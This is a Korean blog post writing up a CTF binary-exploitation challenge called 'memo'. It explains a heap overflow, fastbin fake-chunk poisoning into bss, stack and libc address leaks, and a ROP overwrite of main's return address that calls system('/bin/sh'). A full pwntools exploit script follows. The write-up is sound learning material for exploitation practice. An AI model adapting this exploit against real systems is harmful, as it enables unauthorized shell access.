튜기's bloggggg

memo

category : pwn
score : 300


Challenge


바이너리를 분석해보니, 얼마전 seccon의 tinypad문제와 좀 비슷했는데, 오히려 문제를 푸는 조건은 더 좋았다.
bss영역에 주소를 저장해놓는 배열, 크기를 저장해놓는 배열, 등이 있고, 이를 참조해서 데이터를 관리한다.
즉, 이 영역의 값을 원하는 값으로 바꾸기만하면 해당 주소의 값을 읽고, 그 주소에 쓸 수도 있다.


Vulnerabilities

   


취약한 부분은 비교적 눈에 잘 띄게끔 되어있다.
크기가 0x20이 넘으면 0x20만큼 malloc하게 되는데, read함수의 크기에는 0x20이 아닌 처음입력한 값을 그대로 사용한다.
따라서 heap overflow가 발생할 수 있다.


현재 chunk 뒤에 할당이 해제되있는 chunk의 fd값을 수정함으로써, fastbin에 fake chunk의 주소를 넣을 수 있고,
bss영역의 size배열에 적당한 부분을 fake chunk로 사용하면 뒤에 heap addr 을 저장해놓은 배열을 overwrite 할 수 있다.


heap addr 배열 뒤에는 스택주소가 저장되어 있으므로, 이 주소를 heap addr 배열에 overwrite한다.
이제 view기능을 통해 스택주소를 leak 할 수 있고, 이 주소를 이용해서 main의 ret부분을 계산한다.
그리고 edit기능으로 main의 ret를 다시 overwrite 한 뒤, 다시 view 기능을 이용해서 libc base주소를 알아낸다.


그리고 마지막으로 edit기능을 이용해서 main의 ret부분을 pop_rdi + &'/bin/sh' + &system 으로 덮는다.


Exploit



from pwn import *

context.log_level = 'warn'

local = True
if local :
    s = process('./memo')
    print util.proc.pidof(s)
    pause()
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else :
    s = remote('54.202.7.144', 8888)
    libc = ELF('./memo_libc.so.6')


def command(token, *args) :
    s.recvuntil(token)
    for i in args :
        s.sendline(str(i))
        sleep(0.1)

fast = lambda token, *args : command(token, *args)

def solver() :
    #init
    fast(':', 'stitch')
    fast('(y/n)', 'y')
    fast(':', 'password')

    #malloc 0, 1, 2
    fast('>>', '1', 0, 32, 'stitch32')
    fast('>>', '1', 1, 16, 'stitch16')
    fast('>>', '1', 2, 32, 'stitch32')

    #delete 2, 1
    fast('>>', 4, 2)
    fast('>>', 4, 1)
    fast('>>', 4, 0)

    #fake fastbin addr
    fake_chunk = 0x602a60
    pay = 'a' * 8 * 5
    pay += p64(0x21)
    pay += p64(fake_chunk)

    #malloc 0, 1, 2
    fast('>>', '1', 0, 64, pay)
    fast('>>', '1', 1, 16, 'stitch16')
    fast('>>', '1', 2, 32, 'stitch32')

    #malloc 3
    fake = 0x602a78
    stack = 0x602a98
    pay = p64(fake) + p64(stack)
    fast('>>', '1')
    fast(':', 3, 16, pay)

    #stack addr leak
    fast('>>', '3')
    fast(':', '1')
    main_ret = u64(s.recvuntil('\n\n', drop=True)[-6:].ljust(8, '\x00')) + 88
    print 'main_ret =', hex(main_ret)

    #edit main_ret
    fast('>>', '2')
    fast(':', p64(main_ret))

    #libc addr leak
    fast('>>', '3')
    fast(':', '0')
    libc_base = u64(s.recvuntil('\n\n', drop=True)[-6:].ljust(8, '\x00')) - 0x20830
    system = libc_base + libc.symbols['system']
    binsh = libc_base + list(libc.search('/bin/sh'))[0]
    pop_rdi = 0x401263

    #change idx
    fast('>>', '1')
    fast(':', '0')

    #overwrite system('/bin/sh')
    fast('>>', '2')
    fast(':', p64(pop_rdi) + p64(binsh) + p64(system))

    #get shell
    s.sendline('6')
    s.clean()

    s.interactive()

if __name__ == '__main__' :
    solver()


저작자 표시 비영리 변경 금지
신고

Comment +0